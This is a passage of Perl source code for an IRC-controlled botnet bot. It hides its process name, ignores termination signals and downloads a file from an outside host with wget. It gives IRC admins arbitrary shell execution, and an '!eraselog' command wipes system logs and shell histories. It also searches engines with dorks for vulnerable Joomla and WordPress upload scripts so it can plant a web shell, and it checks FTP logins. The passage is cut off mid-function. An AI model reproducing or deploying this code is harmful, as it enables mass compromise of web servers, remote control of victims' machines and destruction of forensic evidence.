oLT,GooLU,GooMW,GooMT,GooMU,GooFM,GooMN,GooMS,GooMA,GooNA,GooNP,GooNZ,GooNI,GooNF,GooNO,GooOM,GooPK,GooPA,GooPY,GooPE,GooPN,GooPT,GooPR,GooQA,GooRW,GooSH,GooSM,GooSA,GooSN,GooSC,GooSG,GooSK,GooZA,GooLK,GooVC,GooSE,GooCH,GooTW,GooTJ,GooBS,GooTO,GooTT,GooTR,GooTM,GooVI,GooUG,GooUY,GooUZ,GooVE,GooVN,GooZM,GooWS,GooAF,GooAX,GooAL,GooDZ,GooAO,GooAQ,GooAM,GooAW,GooAC,GooBJ,GooBM,GooBT,GooBW,GooIO,GooBN,GooBF,GooKH,GooCM,GooCV,GooKY,GooCF,GooCX,GooCW,GooCY,GooFK,GooFO,GooGH,GooGD,GooGP,GooGU,GooGN,GooGY,GooHM,GooIQ,GooJM,GooKI,GooKW,GooLA,GooLB,GooLR,GooMO,GooMG,GooMV,GooMP,GooMQ,GooMR,GooYT,GooMD,GooMC,GooME,GooMZ,GooNR,GooNC,GooNG,GooNU,GooPW,GooPS,GooCQ,GooRE,GooLC,GooPM,GooST,GooRS,GooGS,GooSL,GooSX,GooSB,GooSO,GooSU,GooKN,GooSR,GooSZ,GooTZ,GooTL,GooTG,GooTK,GooTN,GooTC,GooVU,GooWF,GooYW,GooZW,JacKAE,JacKAR,JacKAT,JacKAU,JacKBR,JacKCA,JacKCL,JacKCN,JacKCoM,JacKCZ,JacKDE,JacKDK,JacKES,JacKEU,JacKFR,JacKHU,JacKID,JacKIL,JacKIN,JacKInfO,JacKIR,JacKIT,JacKJP,JacKKR,JacKMX,JacKMY,JacKNeT,JacKNL,JacKOrG,JacKPH,JacKPL,JacKRO,JacKRU,JacKTH,JacKUA,JacKUK,JacKUS,JacKSI,JacKBE,JacKBIZ,GooGLe,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,WaLLa,YaHoo,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,AsK,AsKCA,AsKDE,AsKIT,AsKUK,AsKFR,AsKES,AsKRU,AsKNL,AsKEU,AsKPL,AsKAT,AsKSE,AsKDK,AsKNO,AsKAU,AsKBR,AsKMX,AsKJP,Bing,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,BingAE,BingAT,BingCZ,BingEU,BingHU,BingID,BingIL,BingIN,BingINFO,BingIR,BingMY,BingNET,BingORG,BingPH,BingPL,BingRO,BingTH,BingUA,BingUS,BingSI,BingBIZ,BingXXX,BingTV,BingCC,BingMIL,BingASIA,BingNAME,BingPRO,BingTRAVEL,BingJOBS,BingMOBI,BingAERO,BingCAT,BingCOOP,BingEDU,BingGOV,BingBO,BingBA,BingBW,BingBG,BingCO,BingCR,BingHR,BingDO,BingEC,BingGR,BingHN,BingHK,BingIS,BingIE,BingKZ,BingKE,BingKG,BingLV,BingLY,BingLT,BingLU,BingMA,BingNP,BingPK,BingPR,BingSG,BingSK,BingZA,BingLK,BingTW,BingTR,BingVE,BingVN,BingMUSEUM,UoL,OnEt,CLusTy,SaPo,AoL,LyCos,HotBot,SeZNam,BigLobe"; my @jpaths = ('/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart', '/administrator/components/com_acymailing/inc/openflash', '/administrator/components/com_jnewsletter/includes/openflashchart', '/administrator/components/com_jinc/classes/graphics', '/administrator/components/com_maianmedia/utilities/charts', '/administrator/components/com_jnews/includes/openflashchart'); my $jvuln = "/php-ofc-library/ofc_upload_image.php"; my $jshell = "/tmp-upload-images/lobex21.php"; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; #chdir("/"); chop (my $priper = `wget http://iplatforma.ru/arkano.aff ; cp arkano.aff 01libs.php.vob ; rm -rf arkano* `); #; wget http://www.safety24.gr//js/flash/revslider.zip $ircserver = "$ARGV[0]" if $ARGV[0]; $ircport = "$ARGV[1]" if $ARGV[1]; $nickname = "$ARGV[2]" if $ARGV[2]; $channel = '#'."$ARGV[3]" if $ARGV[3]; $0 = "$fakeproc"."\0" x 16; my $pid = fork; exit if $pid; die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_client = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub connector { my $mynick = $_[0]; my $ircserver_con = $_[1]; my $ircport_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_client->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con"; $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost; nick("$mynick"); sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname"); sleep(1);}} sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick = $4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick($mynick.int(rand(5))); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; sendraw("MODE $mynick +ix"); sendraw("NS id alin000"); sleep(3); sendraw("JOIN $channel 0day"); sendraw("JOIN $chanxxx RMKN"); sleep(1); sendraw("PRIVMSG $admin :Hi $admin im number ".$number." !!!"); } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); } select(undef, undef, undef, 0.01); delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) { $sel_client->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $ircmsg); $ircmsg =~ s/\r\n$//; if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5); if ($path eq $mynick) { if ($msg =~ /^PING (.*)/) { sendraw("NOTICE $nick :PING $1"); } if ($msg =~ /^VERSION/) { sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey"); } if ($msg =~ /^TIME/) { sendraw("NOTICE $nick :TIME ".$datetime.""); } if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!cox") { &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) { sendraw("NICK ".$1); } if (&isAdmin($nick) && $msg =~ /^!pid/) { sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$"); } if (&isAdmin($nick) && $msg !~ /^!/) { &shell("$nick","$msg"); } if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) { sendraw("$rawmsg $msgraw ".$1); } if (&isAdmin($nick) && $msg =~ /^!say (.+)/) { sendraw("PRIVMSG $rawmsg ".$1); } if (&isAdmin($nick) && $msg =~ /^!act (.+)/) { sendraw("PRIVMSG $rawmsg :ACTION ".$1.""); } if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) { $newtimot = $1; $timot = $newtimot; &msg("$admin","9,1 Get Content TimeOut change to4 $timot "); } if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { $newchan = $1; $chanxxx = $newchan; &msg("$admin","9,1 xChan change to4 $chanxxx "); }}} } else { if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!cox") { &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg eq "!part") { sendraw("PART $path"); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) { &shell("$path","$1"); } if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) { &shell("$path","$1"); } if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { $smod = $1; if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; } elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; } &msg("$path","9,1[0!9]Silent Mode11 $silentstat !!!!"); }}} if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){ my $url = $1.$lfdtest; my $cmd = $2; &cmdlfi($url,$cmd,$path); } if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){ my $url = $1; my $cmd = $2; &cmdxml($url,$cmd,$path); } if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){ my $url = $1; my $cmd = $2; &cmde107($url,$cmd,$path); } ##################################################################### HELP COMMAND if ($msg=~ /^!help/) { &msg("$path","4More info ask 8$nickname 4on - 4$channel ||> "); } if (&isAdmin($nick) && $msg =~ /^!pid/) { &msg("$nick","6Fake Process/PID : $fakeproc - $$"); } if (&isAdmin($nick) && $msg =~ /^!op/) { sendraw("MODE ".$channel." +op ".$admin.""); } ##################################################################### DELETE LOG if (&isAdmin($nick) && $msg =~ /^!eraselog/) { &msg("$path","$loglogo9,1 Permintaan sedang di proses..."); &msg("$path","$loglogo4 Mohon di tunggu...!"); system 'rm -rf /var/log/lastlog'; system 'rm -rf /var/log/wtmp'; system 'rm -rf /etc/wtmp'; system 'rm -rf /var/run/utmp'; system 'rm -rf /etc/utmp'; system 'rm -rf /var/log'; system 'rm -rf /var/logs'; system 'rm -rf /var/adm'; system 'rm -rf /var/apache/log'; system 'rm -rf /var/apache/logs'; system 'rm -rf /usr/local/apache/log'; system 'rm -rf /usr/local/apache/logs'; system 'rm -rf /root/.bash_history'; system 'rm -rf /root/.ksh_history'; &msg("$path","$loglogo13 Semua 4default log13 dan berkas 4bash_history 13terhapus."); sleep 1; &msg("$path","$loglogo13 Sekarang sisa berkas mesin4 LOG."); system 'find / -name *.bash_history -exec rm -rf {} \;'; system 'find / -name *.bash_logout -exec rm -rf {} \;'; system 'find / -name "log*" -exec rm -rf {} \;'; system 'find / -name *.log -exec rm -rf {} \;'; sleep 1; &msg("$path","$loglogo9,1 Selesai! Semua log dalam server sudah di hapus...!!!"); } ##################################################################### SCAN if ($msg=~ /^$trycmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/themes/Ghost/includes/uploadify/upload_settings_image.php",$1); &msg("#scans","9Search Engine 4<9=4>4 Wait Loading.....! "); &se_start($path,$bug,$dork,$engine,1); } } } if ($msg=~ /^$try1cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1",$1); &msg("#scans","9Search Engine 4<9=4>4 Wait Loading.....! "); &se_start($path,$bug,$dork,$engine,2); } } } if ($msg=~ /^$try2cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/components/com_portfolio/includes/phpThumb/phpThumb.php",$1); &msg("#scans","9Search Engine 4<9=4>4 Wait Loading.....! "); &se_start($path,$bug,$dork,$engine,3); } } } if ($msg=~ /^$phpthumbcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/phpThumb.php",$1); my $simpan = $nick; &msg("$chanxxx","9,1[4!9]12Lapor Si 4<9=4> 9$nick 12lagi scan Janda di 4$path "); &msg("$path","$phpthumblogo9Dork 4<9=4>12 Janda.php "); &msg("#scans","9Search Engine 4<9=4>4 Wait Loading.....! "); &se_start($path,$bug,$dork,$engine,4); } } } if ($msg=~ /^$oscocmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $dork = $1; if (-e ($osco_shell)) { &msg("$path","9Dork7 :4 $dork "); &msg("#scans","9Search Engine 4<9=4>4 Wait Loading.....! "); &se_start($path,$bug,$dork,$engine,5); } else { &msg("#scans","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit; } } } } if ($msg=~ /^!ip\s+(.*)/ ) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $ip = $1; &msg("$path","9,1[4!9]15IP 4<9=4>15Searching ".$ip." 4Location ..."); my $website = "http://www.ipligence.com/geolocation"; my ($useragent,$request,$response,%form); undef %form; $form{ip} = $ip; $useragent = LWP::UserAgent->new; $useragent->timeout(5); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ m/Your IP address is(.*)
City:(.*)Country:(.*)
Continent:(.*)
Time/g) { my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4); &msg("$path","15IP Address : ".$ip." 14[".$ipaddress."]"); &msg("$path","15City : ".$ip." 14[".$city."]"); &msg("$path","15Country : ".$ip." 14[".$country."]"); &msg("$path","15Continent : ".$ip." 14[".$continent."]"); } else { &msg("$path","8 ".$ip." 4not found in database"); } } else { &msg("$path","15IP 4<12=4> 4 Cannot open IP database."); } } exit; } } if ($msg=~ /^!dns\s+(.*)/){ my $nsku = $1; my $mydns = inet_ntoa(inet_aton($nsku)); &msg("$path", "8DNS 9$nsku 3Resolved to 3 $mydns"); } if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) { my $hostip= "$1"; my $portsc= "$2"; my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7); if ($scansock) { &msg("$path","15PORT 4<9=4>15 $hostip : $portsc 8Successful !"); } else { &msg("$path","15PORT 4<9=4>15 $hostip : $portsc 4Failed !"); } } if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($host,$user,$pass) = ($1,$2,$3); &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass"); my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if $ftp->login($user,$pass); $ftp->quit; if ($success == 0) { ¬ice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success "); ¬ice("$admin","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success "); } else { ¬ice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied "); } } } } } } for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line = $line_temp.$line if ($line_temp); $line_temp = ''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } ################################################################################## sub type() { my ($chan,$bug,$dork,$engine,$type) = @_; if ($type == 1){$type=&try_xpl($chan,$bug,$dork,$engine);} elsif ($type == 2){$type=&try_xpl1($chan,$bug,$dork,$engine);} elsif ($type == 3){$type=&portfolio_exploit($chan,$bug,$dork,$engine);} elsif ($type == 4){$type=&phpthumb_exploit($chan,$bug,$dork,$engine);} elsif ($type == 5){$type=&osco_exploit($chan,$bug,$dork,$engine);} } ################################################################################## sub se_start() { my ($chan,$bug,$dork,$engine,$type) = @_; if ($engine =~ /uae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UAE",$type); } exit; } } if ($engine =~ /myanmar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,dork,"Myanmar",$type); } exit; } } if ($engine =~ /argentina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Argentina",$type); } exit; } } if ($engine =~ /austria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Austria",$type); } exit; } } if ($engine =~ /australia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Australia",$type); } exit; } } if ($engine =~ /brazil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Brazil",$type); } exit; } } if ($engine =~ /canada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Canada",$type); } exit; } } if ($engine =~ /chili/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Chili",$type); } exit; } } if ($engine =~ /cina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cina",$type); } exit; } } if ($engine =~ /comersil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CoMersil",$type); } exit; } } if ($engine =~ /czech/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Czech",$type); } exit; } } if ($engine =~ /germany/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Germany",$type); } exit; } } if ($engine =~ /denmark/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Denmark",$type); } exit; } } if ($engine =~ /spain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Spain",$type); } exit; } } if ($engine =~ /europe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Europe",$type); } exit; } } if ($engine =~ /france/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"France",$type); } exit; } } if ($engine =~ /hungary/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Hungary",$type); } exit; } } if ($engine =~ /indonesia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Indonesia",$type); } exit; } } if ($engine =~ /israel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Israel",$type); } exit; } } if ($engine =~ /india/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"India",$type); } exit; } } if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Info",$type); } exit; } } if ($engine =~ /iran/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Iran",$type); } exit; } } if ($engine =~ /italy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Italy",$type); } exit; } } if ($engine =~ /japan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Japan",$type); } exit; } } if ($engine =~ /korea/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Korea",$type); } exit; } } if ($engine =~ /mexico/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mexico",$type); } exit; } } if ($engine =~ /malaysia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Malaysia",$type); } exit; } } if ($engine =~ /network/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Network",$type); } exit; } } if ($engine =~ /netherlands/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Netherlands",$type); } exit; } } if ($engine =~ /organization/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Organization",$type); } exit; } } if ($engine =~ /philippines/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Philippines",$type); } exit; } } if ($engine =~ /poland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Poland",$type); } exit; } } if ($engine =~ /romania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Romania",$type); } exit; } } if ($engine =~ /russian/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Russian",$type); } exit; } } if ($engine =~ /thailand/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Thailand",$type); } exit; } } if ($engine =~ /ukraine/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ukraine",$type); } exit; } } if ($engine =~ /england/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"England",$type); } exit; } } if ($engine =~ /usa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"USA",$type); } exit; } } if ($engine =~ /slovenia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Slovenia",$type); } exit; } } if ($engine =~ /belgium/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Belgium",$type); } exit; } } if ($engine =~ /bussines/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bussines",$type); } exit; } } if ($engine =~ /southafrica/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SouthAfrica",$type); } exit; } } if ($engine =~ /vietnam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Vietnam",$type); } exit; } } if ($engine =~ /tuvalu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tuvalu",$type); } exit; } } if ($engine =~ /cocos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cocos",$type); } exit; } } if ($engine =~ /turky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Turky",$type); } exit; } } if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Asia",$type); } exit; } } if ($engine =~ /serbia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Serbia",$type); } exit; } } if ($engine =~ /singapore/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Singapore",$type); } exit; } } if ($engine =~ /taiwan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Taiwan",$type); } exit; } } if ($engine =~ /sweden/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sweden",$type); } exit; } } if ($engine =~ /pakistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pakistan",$type); } exit; } } if ($engine =~ /norway/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Norway",$type); } exit; } } if ($engine =~ /montenegro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Montenegro",$type); } exit; } } if ($engine =~ /greece/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Greece",$type); } exit; } } if ($engine =~ /education/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Education",$type); } exit; } } if ($engine =~ /goverment/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Goverment",$type); } exit; } } if ($engine =~ /kazakhstan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kazakhstan",$type); } exit; } } if ($engine =~ /afganistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,dork,"Afganistan",$type); } exit; } } if ($engine =~ /albania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Albania",$type); } exit; } } if ($engine =~ /algeria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Algeria",$type); } exit; } } if ($engine =~ /angola/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Angola",$type); } exit; } } if ($engine =~ /armenia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Armenia",$type); } exit; } } if ($engine =~ /azerbaijan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Azerbaijan",$type); } exit; } } if ($engine =~ /bahrain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bahrain",$type); } exit; } } if ($engine =~ /bangladesh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bangladesh",$type); } exit; } } if ($engine =~ /belarus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Belarus",$type); } exit; } } if ($engine =~ /bhutan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bhutan",$type); } exit; } } if ($engine =~ /bolivia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bolivia",$type); } exit; } } if ($engine =~ /bosnia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bosnia",$type); } exit; } } if ($engine =~ /bulgaria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bulgaria",$type); } exit; } } if ($engine =~ /brunei/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Brunei",$type); } exit; } } if ($engine =~ /cambodia/i) { if (my $pid = fork) { 